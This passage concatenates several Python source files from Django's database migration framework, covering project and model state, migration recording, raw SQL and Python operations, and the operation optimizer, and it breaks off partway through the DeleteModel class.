    if isinstance(value, (COMPILED_REGEX_TYPE, RegexObject)):
        return RegexSerializer(value)
    raise ValueError(
        "Cannot serialize: %r\nThere are some values Django cannot serialize into "
        "migration files.\nFor more, see https://docs.djangoproject.com/en/%s/"
        "topics/migrations/#migration-serializing" % (value, get_docs_version())
    )






from __future__ import unicode_literals

import copy
import warnings
from collections import OrderedDict
from contextlib import contextmanager

from django.apps import AppConfig
from django.apps.registry import Apps, apps as global_apps
from django.conf import settings
from django.db import models
from django.db.models.fields.proxy import OrderWrt
from django.db.models.fields.related import RECURSIVE_RELATIONSHIP_CONSTANT
from django.db.models.options import DEFAULT_NAMES, normalize_together
from django.db.models.utils import make_model_tuple
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text, smart_text
from django.utils.functional import cached_property
from django.utils.module_loading import import_string
from django.utils.version import get_docs_version

from .exceptions import InvalidBasesError


def _get_app_label_and_model_name(model, app_label=''):
    if isinstance(model, six.string_types):
        split = model.split('.', 1)
        return (tuple(split) if len(split) == 2 else (app_label, split[0]))
    else:
        return model._meta.app_label, model._meta.model_name


def _get_related_models(m):
    """
    Return all models that have a direct relationship to the given model.
    """
    related_models = [
        subclass for subclass in m.__subclasses__()
        if issubclass(subclass, models.Model)
    ]
    related_fields_models = set()
    for f in m._meta.get_fields(include_parents=True, include_hidden=True):
        if f.is_relation and f.related_model is not None and not isinstance(f.related_model, six.string_types):
            related_fields_models.add(f.model)
            related_models.append(f.related_model)
    # Reverse accessors of foreign keys to proxy models are attached to their
    # concrete proxied model.
    opts = m._meta
    if opts.proxy and m in related_fields_models:
        related_models.append(opts.concrete_model)
    return related_models


def get_related_models_recursive(model):
    """
    Return all models that have a direct or indirect relationship
    to the given model.

    Relationships are either defined by explicit relational fields, like
    ForeignKey, ManyToManyField or OneToOneField, or by inheriting from another
    model (a superclass is related to its subclasses, but not vice versa). Note,
    however, that a model inheriting from a concrete model is also related to
    its superclass through the implicit *_ptr OneToOneField on the subclass.
    """
    seen = set()
    queue = _get_related_models(model)
    for rel_mod in queue:
        rel_app_label, rel_model_name = rel_mod._meta.app_label, rel_mod._meta.model_name
        if (rel_app_label, rel_model_name) in seen:
            continue
        seen.add((rel_app_label, rel_model_name))
        queue.extend(_get_related_models(rel_mod))
    return seen - {(model._meta.app_label, model._meta.model_name)}


class ProjectState(object):
    """
    Represents the entire project's overall state.
    This is the item that is passed around - we do it here rather than at the
    app level so that cross-app FKs/etc. resolve properly.
    """

    def __init__(self, models=None, real_apps=None):
        self.models = models or {}
        # Apps to include from main registry, usually unmigrated ones
        self.real_apps = real_apps or []

    def add_model(self, model_state):
        app_label, model_name = model_state.app_label, model_state.name_lower
        self.models[(app_label, model_name)] = model_state
        if 'apps' in self.__dict__:  # hasattr would cache the property
            self.reload_model(app_label, model_name)

    def remove_model(self, app_label, model_name):
        del self.models[app_label, model_name]
        if 'apps' in self.__dict__:  # hasattr would cache the property
            self.apps.unregister_model(app_label, model_name)
            # Need to do this explicitly since unregister_model() doesn't clear
            # the cache automatically (#24513)
            self.apps.clear_cache()

    def reload_model(self, app_label, model_name):
        if 'apps' in self.__dict__:  # hasattr would cache the property
            try:
                old_model = self.apps.get_model(app_label, model_name)
            except LookupError:
                related_models = set()
            else:
                # Get all relations to and from the old model before reloading,
                # as _meta.apps may change
                related_models = get_related_models_recursive(old_model)

            # Get all outgoing references from the model to be rendered
            model_state = self.models[(app_label, model_name)]
            # Directly related models are the models pointed to by ForeignKeys,
            # OneToOneFields, and ManyToManyFields.
            direct_related_models = set()
            for name, field in model_state.fields:
                if field.is_relation:
                    if field.remote_field.model == RECURSIVE_RELATIONSHIP_CONSTANT:
                        continue
                    rel_app_label, rel_model_name = _get_app_label_and_model_name(field.related_model, app_label)
                    direct_related_models.add((rel_app_label, rel_model_name.lower()))

            # For all direct related models recursively get all related models.
            related_models.update(direct_related_models)
            for rel_app_label, rel_model_name in direct_related_models:
                try:
                    rel_model = self.apps.get_model(rel_app_label, rel_model_name)
                except LookupError:
                    pass
                else:
                    related_models.update(get_related_models_recursive(rel_model))

            # Include the model itself
            related_models.add((app_label, model_name))

            # Unregister all related models
            with self.apps.bulk_update():
                for rel_app_label, rel_model_name in related_models:
                    self.apps.unregister_model(rel_app_label, rel_model_name)

            states_to_be_rendered = []
            # Gather all models states of those models that will be rerendered.
            # This includes:
            # 1. All related models of unmigrated apps
            for model_state in self.apps.real_models:
                if (model_state.app_label, model_state.name_lower) in related_models:
                    states_to_be_rendered.append(model_state)

            # 2. All related models of migrated apps
            for rel_app_label, rel_model_name in related_models:
                try:
                    model_state = self.models[rel_app_label, rel_model_name]
                except KeyError:
                    pass
                else:
                    states_to_be_rendered.append(model_state)

            # Render all models
            self.apps.render_multiple(states_to_be_rendered)

    def clone(self):
        "Returns an exact copy of this ProjectState"
        new_state = ProjectState(
            models={k: v.clone() for k, v in self.models.items()},
            real_apps=self.real_apps,
        )
        if 'apps' in self.__dict__:
            new_state.apps = self.apps.clone()
        return new_state

    @cached_property
    def apps(self):
        return StateApps(self.real_apps, self.models)

    @property
    def concrete_apps(self):
        self.apps = StateApps(self.real_apps, self.models, ignore_swappable=True)
        return self.apps

    @classmethod
    def from_apps(cls, apps):
        "Takes in an Apps and returns a ProjectState matching it"
        app_models = {}
        for model in apps.get_models(include_swapped=True):
            model_state = ModelState.from_model(model)
            app_models[(model_state.app_label, model_state.name_lower)] = model_state
        return cls(app_models)

    def __eq__(self, other):
        if set(self.models.keys()) != set(other.models.keys()):
            return False
        if set(self.real_apps) != set(other.real_apps):
            return False
        return all(model == other.models[key] for key, model in self.models.items())

    def __ne__(self, other):
        return not (self == other)


class AppConfigStub(AppConfig):
    """
    Stubs a Django AppConfig. Only provides a label, and a dict of models.
    """
    # Not used, but required by AppConfig.__init__
    path = ''

    def __init__(self, label):
        self.label = label
        # App-label and app-name are not the same thing, so technically passing
        # in the label here is wrong. In practice, migrations don't care about
        # the app name, but we need something unique, and the label works fine.
        super(AppConfigStub, self).__init__(label, None)

    def import_models(self, all_models):
        self.models = all_models


class StateApps(Apps):
    """
    Subclass of the global Apps registry class to better handle dynamic model
    additions and removals.
    """
    def __init__(self, real_apps, models, ignore_swappable=False):
        # Any apps in self.real_apps should have all their models included
        # in the render. We don't use the original model instances as there
        # are some variables that refer to the Apps object.
        # FKs/M2Ms from real apps are also not included as they just
        # mess things up with partial states (due to lack of dependencies)
        self.real_models = []
        for app_label in real_apps:
            app = global_apps.get_app_config(app_label)
            for model in app.get_models():
                self.real_models.append(ModelState.from_model(model, exclude_rels=True))
        # Populate the app registry with a stub for each application.
        app_labels = {model_state.app_label for model_state in models.values()}
        app_configs = [AppConfigStub(label) for label in sorted(real_apps + list(app_labels))]
        super(StateApps, self).__init__(app_configs)

        self.render_multiple(list(models.values()) + self.real_models)

        # There shouldn't be any operations pending at this point.
        from django.core.checks.model_checks import _check_lazy_references
        ignore = {make_model_tuple(settings.AUTH_USER_MODEL)} if ignore_swappable else set()
        errors = _check_lazy_references(self, ignore=ignore)
        if errors:
            raise ValueError("\n".join(error.msg for error in errors))

    @contextmanager
    def bulk_update(self):
        # Avoid clearing each model's cache for each change. Instead, clear
        # all caches when we're finished updating the model instances.
        ready = self.ready
        self.ready = False
        try:
            yield
        finally:
            self.ready = ready
            self.clear_cache()

    def render_multiple(self, model_states):
        # We keep trying to render the models in a loop, ignoring invalid
        # base errors, until the size of the unrendered models doesn't
        # decrease by at least one, meaning there's a base dependency loop/
        # missing base.
        if not model_states:
            return
        # Prevent that all model caches are expired for each render.
        with self.bulk_update():
            unrendered_models = model_states
            while unrendered_models:
                new_unrendered_models = []
                for model in unrendered_models:
                    try:
                        model.render(self)
                    except InvalidBasesError:
                        new_unrendered_models.append(model)
                if len(new_unrendered_models) == len(unrendered_models):
                    raise InvalidBasesError(
                        "Cannot resolve bases for %r\nThis can happen if you are inheriting models from an "
                        "app with migrations (e.g. contrib.auth)\n in an app with no migrations; see "
                        "https://docs.djangoproject.com/en/%s/topics/migrations/#dependencies "
                        "for more" % (new_unrendered_models, get_docs_version())
                    )
                unrendered_models = new_unrendered_models

    def clone(self):
        """
        Return a clone of this registry, mainly used by the migration framework.
        """
        clone = StateApps([], {})
        clone.all_models = copy.deepcopy(self.all_models)
        clone.app_configs = copy.deepcopy(self.app_configs)
        # No need to actually clone them, they'll never change
        clone.real_models = self.real_models
        return clone

    def register_model(self, app_label, model):
        self.all_models[app_label][model._meta.model_name] = model
        if app_label not in self.app_configs:
            self.app_configs[app_label] = AppConfigStub(app_label)
            self.app_configs[app_label].models = OrderedDict()
        self.app_configs[app_label].models[model._meta.model_name] = model
        self.do_pending_operations(model)
        self.clear_cache()

    def unregister_model(self, app_label, model_name):
        try:
            del self.all_models[app_label][model_name]
            del self.app_configs[app_label].models[model_name]
        except KeyError:
            pass


class ModelState(object):
    """
    Represents a Django Model. We don't use the actual Model class
    as it's not designed to have its options changed - instead, we
    mutate this one and then render it into a Model as required.

    Note that while you are allowed to mutate .fields, you are not allowed
    to mutate the Field instances inside there themselves - you must instead
    assign new ones, as these are not detached during a clone.
    """

    def __init__(self, app_label, name, fields, options=None, bases=None, managers=None):
        self.app_label = app_label
        self.name = force_text(name)
        self.fields = fields
        self.options = options or {}
        self.options.setdefault('indexes', [])
        self.bases = bases or (models.Model, )
        self.managers = managers or []
        # Sanity-check that fields is NOT a dict. It must be ordered.
        if isinstance(self.fields, dict):
            raise ValueError("ModelState.fields cannot be a dict - it must be a list of 2-tuples.")
        for name, field in fields:
            # Sanity-check that fields are NOT already bound to a model.
            if hasattr(field, 'model'):
                raise ValueError(
                    'ModelState.fields cannot be bound to a model - "%s" is.' % name
                )
            # Sanity-check that relation fields are NOT referring to a model class.
            if field.is_relation and hasattr(field.related_model, '_meta'):
                raise ValueError(
                    'ModelState.fields cannot refer to a model class - "%s.to" does. '
                    'Use a string reference instead.' % name
                )
            if field.many_to_many and hasattr(field.remote_field.through, '_meta'):
                raise ValueError(
                    'ModelState.fields cannot refer to a model class - "%s.through" does. '
                    'Use a string reference instead.' % name
                )
        # Sanity-check that indexes have their name set.
        for index in self.options['indexes']:
            if not index.name:
                raise ValueError(
                    "Indexes passed to ModelState require a name attribute. "
                    "%r doesn't have one." % index
                )

    @cached_property
    def name_lower(self):
        return self.name.lower()

    @classmethod
    def from_model(cls, model, exclude_rels=False):
        """
        Feed me a model, get a ModelState representing it out.
        """
        # Deconstruct the fields
        fields = []
        for field in model._meta.local_fields:
            if getattr(field, "remote_field", None) and exclude_rels:
                continue
            if isinstance(field, OrderWrt):
                continue
            name = force_text(field.name, strings_only=True)
            try:
                fields.append((name, field.clone()))
            except TypeError as e:
                raise TypeError("Couldn't reconstruct field %s on %s: %s" % (
                    name,
                    model._meta.label,
                    e,
                ))
        if not exclude_rels:
            for field in model._meta.local_many_to_many:
                name = force_text(field.name, strings_only=True)
                try:
                    fields.append((name, field.clone()))
                except TypeError as e:
                    raise TypeError("Couldn't reconstruct m2m field %s on %s: %s" % (
                        name,
                        model._meta.object_name,
                        e,
                    ))
        # Extract the options
        options = {}
        for name in DEFAULT_NAMES:
            # Ignore some special options
            if name in ["apps", "app_label"]:
                continue
            elif name in model._meta.original_attrs:
                if name == "unique_together":
                    ut = model._meta.original_attrs["unique_together"]
                    options[name] = set(normalize_together(ut))
                elif name == "index_together":
                    it = model._meta.original_attrs["index_together"]
                    options[name] = set(normalize_together(it))
                else:
                    options[name] = model._meta.original_attrs[name]
        # Force-convert all options to text_type (#23226)
        options = cls.force_text_recursive(options)
        # If we're ignoring relationships, remove all field-listing model
        # options (that option basically just means "make a stub model")
        if exclude_rels:
            for key in ["unique_together", "index_together", "order_with_respect_to"]:
                if key in options:
                    del options[key]
        # Private fields are ignored, so remove options that refer to them.
        elif options.get('order_with_respect_to') in {field.name for field in model._meta.private_fields}:
            del options['order_with_respect_to']

        def flatten_bases(model):
            bases = []
            for base in model.__bases__:
                if hasattr(base, "_meta") and base._meta.abstract:
                    bases.extend(flatten_bases(base))
                else:
                    bases.append(base)
            return bases

        # We can't rely on __mro__ directly because we only want to flatten
        # abstract models and not the whole tree. However by recursing on
        # __bases__ we may end up with duplicates and ordering issues, we
        # therefore discard any duplicates and reorder the bases according
        # to their index in the MRO.
        flattened_bases = sorted(set(flatten_bases(model)), key=lambda x: model.__mro__.index(x))

        # Make our record
        bases = tuple(
            (
                base._meta.label_lower
                if hasattr(base, "_meta") else
                base
            )
            for base in flattened_bases
        )
        # Ensure at least one base inherits from models.Model
        if not any((isinstance(base, six.string_types) or issubclass(base, models.Model)) for base in bases):
            bases = (models.Model,)

        managers = []
        manager_names = set()
        default_manager_shim = None
        for manager in model._meta.managers:
            manager_name = force_text(manager.name)
            if manager_name in manager_names:
                # Skip overridden managers.
                continue
            elif manager.use_in_migrations:
                # Copy managers usable in migrations.
                new_manager = copy.copy(manager)
                new_manager._set_creation_counter()
            elif manager is model._base_manager or manager is model._default_manager:
                # Shim custom managers used as default and base managers.
                new_manager = models.Manager()
                new_manager.model = manager.model
                new_manager.name = manager.name
                if manager is model._default_manager:
                    default_manager_shim = new_manager
            else:
                continue
            manager_names.add(manager_name)
            managers.append((manager_name, new_manager))

        # Ignore a shimmed default manager called objects if it's the only one.
        if managers == [('objects', default_manager_shim)]:
            managers = []

        # Construct the new ModelState
        return cls(
            model._meta.app_label,
            model._meta.object_name,
            fields,
            options,
            bases,
            managers,
        )

    @classmethod
    def force_text_recursive(cls, value):
        if isinstance(value, six.string_types):
            return smart_text(value)
        elif isinstance(value, list):
            return [cls.force_text_recursive(x) for x in value]
        elif isinstance(value, tuple):
            return tuple(cls.force_text_recursive(x) for x in value)
        elif isinstance(value, set):
            return set(cls.force_text_recursive(x) for x in value)
        elif isinstance(value, dict):
            return {
                cls.force_text_recursive(k): cls.force_text_recursive(v)
                for k, v in value.items()
            }
        return value

    def construct_managers(self):
        "Deep-clone the managers using deconstruction"
        # Sort all managers by their creation counter
        sorted_managers = sorted(self.managers, key=lambda v: v[1].creation_counter)
        for mgr_name, manager in sorted_managers:
            mgr_name = force_text(mgr_name)
            as_manager, manager_path, qs_path, args, kwargs = manager.deconstruct()
            if as_manager:
                qs_class = import_string(qs_path)
                yield mgr_name, qs_class.as_manager()
            else:
                manager_class = import_string(manager_path)
                yield mgr_name, manager_class(*args, **kwargs)

    def clone(self):
        "Returns an exact copy of this ModelState"
        return self.__class__(
            app_label=self.app_label,
            name=self.name,
            fields=list(self.fields),
            options=dict(self.options),
            bases=self.bases,
            managers=list(self.managers),
        )

    def render(self, apps):
        "Creates a Model object from our current state into the given apps"
        # First, make a Meta object
        meta_contents = {'app_label': self.app_label, "apps": apps}
        meta_contents.update(self.options)
        meta = type(str("Meta"), tuple(), meta_contents)
        # Then, work out our bases
        try:
            bases = tuple(
                (apps.get_model(base) if isinstance(base, six.string_types) else base)
                for base in self.bases
            )
        except LookupError:
            raise InvalidBasesError("Cannot resolve one or more bases from %r" % (self.bases,))
        # Turn fields into a dict for the body, add other bits
        body = {name: field.clone() for name, field in self.fields}
        body['Meta'] = meta
        body['__module__'] = "__fake__"

        # Restore managers
        body.update(self.construct_managers())

        with warnings.catch_warnings():
            warnings.filterwarnings(
                "ignore", "Managers from concrete parents will soon qualify as default managers",
                RemovedInDjango20Warning)

            # Then, make a Model object (apps.register_model is called in __new__)
            return type(
                str(self.name),
                bases,
                body,
            )

    def get_field_by_name(self, name):
        for fname, field in self.fields:
            if fname == name:
                return field
        raise ValueError("No field called %s on model %s" % (name, self.name))

    def get_index_by_name(self, name):
        for index in self.options['indexes']:
            if index.name == name:
                return index
        raise ValueError("No index named %s on model %s" % (name, self.name))

    def __repr__(self):
        return "<ModelState: '%s.%s'>" % (self.app_label, self.name)

    def __eq__(self, other):
        return (
            (self.app_label == other.app_label) and
            (self.name == other.name) and
            (len(self.fields) == len(other.fields)) and
            all((k1 == k2 and (f1.deconstruct()[1:] == f2.deconstruct()[1:]))
                for (k1, f1), (k2, f2) in zip(self.fields, other.fields)) and
            (self.options == other.options) and
            (self.bases == other.bases) and
            (self.managers == other.managers)
        )

    def __ne__(self, other):
        return not (self == other)






from __future__ import unicode_literals


class MigrationOptimizer(object):
    """
    Powers the optimization process, where you provide a list of Operations
    and you are returned a list of equal or shorter length - operations
    are merged into one if possible.

    For example, a CreateModel and an AddField can be optimized into a
    new CreateModel, and CreateModel and DeleteModel can be optimized into
    nothing.
    """

    def optimize(self, operations, app_label=None):
        """
        Main optimization entry point. Pass in a list of Operation instances,
        get out a new list of Operation instances.

        Unfortunately, due to the scope of the optimization (two combinable
        operations might be separated by several hundred others), this can't be
        done as a peephole optimization with checks/output implemented on
        the Operations themselves; instead, the optimizer looks at each
        individual operation and scans forwards in the list to see if there
        are any matches, stopping at boundaries - operations which can't
        be optimized over (RunSQL, operations on the same field/model, etc.)

        The inner loop is run until the starting list is the same as the result
        list, and then the result is returned. This means that operation
        optimization must be stable and always return an equal or shorter list.

        The app_label argument is optional, but if you pass it you'll get more
        efficient optimization.
        """
        # Internal tracking variable for test assertions about # of loops
        self._iterations = 0
        while True:
            result = self.optimize_inner(operations, app_label)
            self._iterations += 1
            if result == operations:
                return result
            operations = result

    def optimize_inner(self, operations, app_label=None):
        """
        Inner optimization loop.
        """
        new_operations = []
        for i, operation in enumerate(operations):
            # Compare it to each operation after it
            for j, other in enumerate(operations[i + 1:]):
                in_between = operations[i + 1:i + j + 1]
                result = operation.reduce(other, in_between, app_label)
                if isinstance(result, list):
                    # Optimize! Add result, then remaining others, then return
                    new_operations.extend(result)
                    new_operations.extend(in_between)
                    new_operations.extend(operations[i + j + 2:])
                    return new_operations
                if not result:
                    # We can't optimize across `other`.
                    new_operations.append(operation)
                    break
            else:
                new_operations.append(operation)
        return new_operations






from __future__ import unicode_literals

from django.apps.registry import Apps
from django.db import models
from django.db.utils import DatabaseError
from django.utils.encoding import python_2_unicode_compatible
from django.utils.timezone import now

from .exceptions import MigrationSchemaMissing


class MigrationRecorder(object):
    """
    Deals with storing migration records in the database.

    Because this table is actually itself used for dealing with model
    creation, it's the one thing we can't do normally via migrations.
    We manually handle table creation/schema updating (using schema backend)
    and then have a floating model to do queries with.

    If a migration is unapplied its row is removed from the table. Having
    a row in the table always means a migration is applied.
    """

    @python_2_unicode_compatible
    class Migration(models.Model):
        app = models.CharField(max_length=255)
        name = models.CharField(max_length=255)
        applied = models.DateTimeField(default=now)

        class Meta:
            apps = Apps()
            app_label = "migrations"
            db_table = "django_migrations"

        def __str__(self):
            return "Migration %s for %s" % (self.name, self.app)

    def __init__(self, connection):
        self.connection = connection

    @property
    def migration_qs(self):
        return self.Migration.objects.using(self.connection.alias)

    def ensure_schema(self):
        """
        Ensures the table exists and has the correct schema.
        """
        # If the table's there, that's fine - we've never changed its schema
        # in the codebase.
        if self.Migration._meta.db_table in self.connection.introspection.table_names(self.connection.cursor()):
            return
        # Make the table
        try:
            with self.connection.schema_editor() as editor:
                editor.create_model(self.Migration)
        except DatabaseError as exc:
            raise MigrationSchemaMissing("Unable to create the django_migrations table (%s)" % exc)

    def applied_migrations(self):
        """
        Returns a set of (app, name) of applied migrations.
        """
        self.ensure_schema()
        return set(tuple(x) for x in self.migration_qs.values_list("app", "name"))

    def record_applied(self, app, name):
        """
        Records that a migration was applied.
        """
        self.ensure_schema()
        self.migration_qs.create(app=app, name=name)

    def record_unapplied(self, app, name):
        """
        Records that a migration was unapplied.
        """
        self.ensure_schema()
        self.migration_qs.filter(app=app, name=name).delete()

    def flush(self):
        """
        Deletes all migration records. Useful if you're testing migrations.
        """
        self.migration_qs.all().delete()






from __future__ import unicode_literals

from django.db import router

from .base import Operation


class SeparateDatabaseAndState(Operation):
    """
    Takes two lists of operations - ones that will be used for the database,
    and ones that will be used for the state change. This allows operations
    that don't support state change to have it applied, or have operations
    that affect the state or not the database, or so on.
    """

    serialization_expand_args = ['database_operations', 'state_operations']

    def __init__(self, database_operations=None, state_operations=None):
        self.database_operations = database_operations or []
        self.state_operations = state_operations or []

    def deconstruct(self):
        kwargs = {}
        if self.database_operations:
            kwargs['database_operations'] = self.database_operations
        if self.state_operations:
            kwargs['state_operations'] = self.state_operations
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        for state_operation in self.state_operations:
            state_operation.state_forwards(app_label, state)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        # We calculate state separately in here since our state functions aren't useful
        for database_operation in self.database_operations:
            to_state = from_state.clone()
            database_operation.state_forwards(app_label, to_state)
            database_operation.database_forwards(app_label, schema_editor, from_state, to_state)
            from_state = to_state

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        # We calculate state separately in here since our state functions aren't useful
        to_states = {}
        for dbop in self.database_operations:
            to_states[dbop] = to_state
            to_state = to_state.clone()
            dbop.state_forwards(app_label, to_state)
        # to_state now has the states of all the database_operations applied
        # which is the from_state for the backwards migration of the last
        # operation.
        for database_operation in reversed(self.database_operations):
            from_state = to_state
            to_state = to_states[database_operation]
            database_operation.database_backwards(app_label, schema_editor, from_state, to_state)

    def describe(self):
        return "Custom state/database change combination"


class RunSQL(Operation):
    """
    Runs some raw SQL. A reverse SQL statement may be provided.

    Also accepts a list of operations that represent the state change effected
    by this SQL change, in case it's custom column/table creation/deletion.
    """
    noop = ''

    def __init__(self, sql, reverse_sql=None, state_operations=None, hints=None, elidable=False):
        self.sql = sql
        self.reverse_sql = reverse_sql
        self.state_operations = state_operations or []
        self.hints = hints or {}
        self.elidable = elidable

    def deconstruct(self):
        kwargs = {
            'sql': self.sql,
        }
        if self.reverse_sql is not None:
            kwargs['reverse_sql'] = self.reverse_sql
        if self.state_operations:
            kwargs['state_operations'] = self.state_operations
        if self.hints:
            kwargs['hints'] = self.hints
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    @property
    def reversible(self):
        return self.reverse_sql is not None

    def state_forwards(self, app_label, state):
        for state_operation in self.state_operations:
            state_operation.state_forwards(app_label, state)

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        if router.allow_migrate(schema_editor.connection.alias, app_label, **self.hints):
            self._run_sql(schema_editor, self.sql)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        if self.reverse_sql is None:
            raise NotImplementedError("You cannot reverse this operation")
        if router.allow_migrate(schema_editor.connection.alias, app_label, **self.hints):
            self._run_sql(schema_editor, self.reverse_sql)

    def describe(self):
        return "Raw SQL operation"

    def _run_sql(self, schema_editor, sqls):
        if isinstance(sqls, (list, tuple)):
            for sql in sqls:
                params = None
                if isinstance(sql, (list, tuple)):
                    elements = len(sql)
                    if elements == 2:
                        sql, params = sql
                    else:
                        raise ValueError("Expected a 2-tuple but got %d" % elements)
                schema_editor.execute(sql, params=params)
        elif sqls != RunSQL.noop:
            statements = schema_editor.connection.ops.prepare_sql_script(sqls)
            for statement in statements:
                schema_editor.execute(statement, params=None)


class RunPython(Operation):
    """
    Runs Python code in a context suitable for doing versioned ORM operations.
    """

    reduces_to_sql = False

    def __init__(self, code, reverse_code=None, atomic=None, hints=None, elidable=False):
        self.atomic = atomic
        # Forwards code
        if not callable(code):
            raise ValueError("RunPython must be supplied with a callable")
        self.code = code
        # Reverse code
        if reverse_code is None:
            self.reverse_code = None
        else:
            if not callable(reverse_code):
                raise ValueError("RunPython must be supplied with callable arguments")
            self.reverse_code = reverse_code
        self.hints = hints or {}
        self.elidable = elidable

    def deconstruct(self):
        kwargs = {
            'code': self.code,
        }
        if self.reverse_code is not None:
            kwargs['reverse_code'] = self.reverse_code
        if self.atomic is not None:
            kwargs['atomic'] = self.atomic
        if self.hints:
            kwargs['hints'] = self.hints
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    @property
    def reversible(self):
        return self.reverse_code is not None

    def state_forwards(self, app_label, state):
        # RunPython objects have no state effect. To add some, combine this
        # with SeparateDatabaseAndState.
        pass

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        if router.allow_migrate(schema_editor.connection.alias, app_label, **self.hints):
            # We now execute the Python code in a context that contains a 'models'
            # object, representing the versioned models as an app registry.
            # We could try to override the global cache, but then people will still
            # use direct imports, so we go with a documentation approach instead.
            self.code(from_state.apps, schema_editor)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        if self.reverse_code is None:
            raise NotImplementedError("You cannot reverse this operation")
        if router.allow_migrate(schema_editor.connection.alias, app_label, **self.hints):
            self.reverse_code(from_state.apps, schema_editor)

    def describe(self):
        return "Raw Python operation"

    @staticmethod
    def noop(apps, schema_editor):
        return None






from __future__ import unicode_literals

from django.db import models
from django.db.migrations.operations.base import Operation
from django.db.migrations.state import ModelState
from django.db.models.options import normalize_together
from django.utils import six
from django.utils.functional import cached_property

from .fields import (
    AddField, AlterField, FieldOperation, RemoveField, RenameField,
)


def _check_for_duplicates(arg_name, objs):
    used_vals = set()
    for val in objs:
        if val in used_vals:
            raise ValueError(
                "Found duplicate value %s in CreateModel %s argument." % (val, arg_name)
            )
        used_vals.add(val)


class ModelOperation(Operation):
    def __init__(self, name):
        self.name = name

    @cached_property
    def name_lower(self):
        return self.name.lower()

    def references_model(self, name, app_label=None):
        return name.lower() == self.name_lower

    def reduce(self, operation, in_between, app_label=None):
        return (
            super(ModelOperation, self).reduce(operation, in_between, app_label=app_label) or
            not operation.references_model(self.name, app_label)
        )


class CreateModel(ModelOperation):
    """
    Create a model's table.
    """

    serialization_expand_args = ['fields', 'options', 'managers']

    def __init__(self, name, fields, options=None, bases=None, managers=None):
        self.fields = fields
        self.options = options or {}
        self.bases = bases or (models.Model,)
        self.managers = managers or []
        super(CreateModel, self).__init__(name)
        # Sanity-check that there are no duplicated field names, bases, or
        # manager names
        _check_for_duplicates('fields', (name for name, _ in self.fields))
        _check_for_duplicates('bases', (
            base._meta.label_lower if hasattr(base, '_meta') else
            base.lower() if isinstance(base, six.string_types) else base
            for base in self.bases
        ))
        _check_for_duplicates('managers', (name for name, _ in self.managers))

    def deconstruct(self):
        kwargs = {
            'name': self.name,
            'fields': self.fields,
        }
        if self.options:
            kwargs['options'] = self.options
        if self.bases and self.bases != (models.Model,):
            kwargs['bases'] = self.bases
        if self.managers and self.managers != [('objects', models.Manager())]:
            kwargs['managers'] = self.managers
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
        state.add_model(ModelState(
            app_label,
            self.name,
            list(self.fields),
            dict(self.options),
            tuple(self.bases),
            list(self.managers),
        ))

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        model = to_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.create_model(model)

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        model = from_state.apps.get_model(app_label, self.name)
        if self.allow_migrate_model(schema_editor.connection.alias, model):
            schema_editor.delete_model(model)

    def describe(self):
        return "Create %smodel %s" % ("proxy " if self.options.get("proxy", False) else "", self.name)

    def references_model(self, name, app_label=None):
        name_lower = name.lower()
        if name_lower == self.name_lower:
            return True

        # Check we didn't inherit from the model
        models_to_check = [base for base in self.bases if base is not models.Model]
        # Check we have no FKs/M2Ms with it
        for fname, field in self.fields:
            if field.remote_field:
                models_to_check.append(field.remote_field.model)
        # Now go over all the models and check against them
        for model in models_to_check:
            model_app_label, model_name = self.model_to_key(model)
            if model_name.lower() == name_lower:
                if app_label is None or not model_app_label or model_app_label == app_label:
                    return True
        return False

    def model_to_key(self, model):
        """
        Take either a model class or an "app_label.ModelName" string
        and return (app_label, object_name).
        """
        if isinstance(model, six.string_types):
            return model.split(".", 1)
        else:
            return model._meta.app_label, model._meta.object_name

    def reduce(self, operation, in_between, app_label=None):
        if (isinstance(operation, DeleteModel) and
                self.name_lower == operation.name_lower and
                not self.options.get("proxy", False)):
            return []
        elif isinstance(operation, RenameModel) and self.name_lower == operation.old_name_lower:
            return [
                CreateModel(
                    operation.new_name,
                    fields=self.fields,
                    options=self.options,
                    bases=self.bases,
                    managers=self.managers,
                ),
            ]
        elif isinstance(operation, FieldOperation) and self.name_lower == operation.model_name_lower:
            if isinstance(operation, AddField):
                # Don't allow optimizations of FKs through models they reference
                if hasattr(operation.field, "remote_field") and operation.field.remote_field:
                    for between in in_between:
                        # Check that it doesn't point to the model
                        app_label, object_name = self.model_to_key(operation.field.remote_field.model)
                        if between.references_model(object_name, app_label):
                            return False
                        # Check that it's not through the model
                        if getattr(operation.field.remote_field, "through", None):
                            app_label, object_name = self.model_to_key(operation.field.remote_field.through)
                            if between.references_model(object_name, app_label):
                                return False
                return [
                    CreateModel(
                        self.name,
                        fields=self.fields + [(operation.name, operation.field)],
                        options=self.options,
                        bases=self.bases,
                        managers=self.managers,
                    ),
                ]
            elif isinstance(operation, AlterField):
                return [
                    CreateModel(
                        self.name,
                        fields=[
                            (n, operation.field if n == operation.name else v)
                            for n, v in self.fields
                        ],
                        options=self.options,
                        bases=self.bases,
                        managers=self.managers,
                    ),
                ]
            elif isinstance(operation, RemoveField):
                return [
                    CreateModel(
                        self.name,
                        fields=[
                            (n, v)
                            for n, v in self.fields
                            if n.lower() != operation.name_lower
                        ],
                        options=self.options,
                        bases=self.bases,
                        managers=self.managers,
                    ),
                ]
            elif isinstance(operation, RenameField):
                return [
                    CreateModel(
                        self.name,
                        fields=[
                            (operation.new_name if n == operation.old_name else n, v)
                            for n, v in self.fields
                        ],
                        options=self.options,
                        bases=self.bases,
                        managers=self.managers,
                    ),
                ]
        return super(CreateModel, self).reduce(operation, in_between, app_label=app_label)


class DeleteModel(ModelOperation):
    """
    Drops a model's table.
    """

    def deconstruct(self):
        kwargs = {
            'name': self.name,
        }
        return (
            self.__class__.__name__,
            [],
            kwargs
        )

    def state_forwards(self, app_label, state):
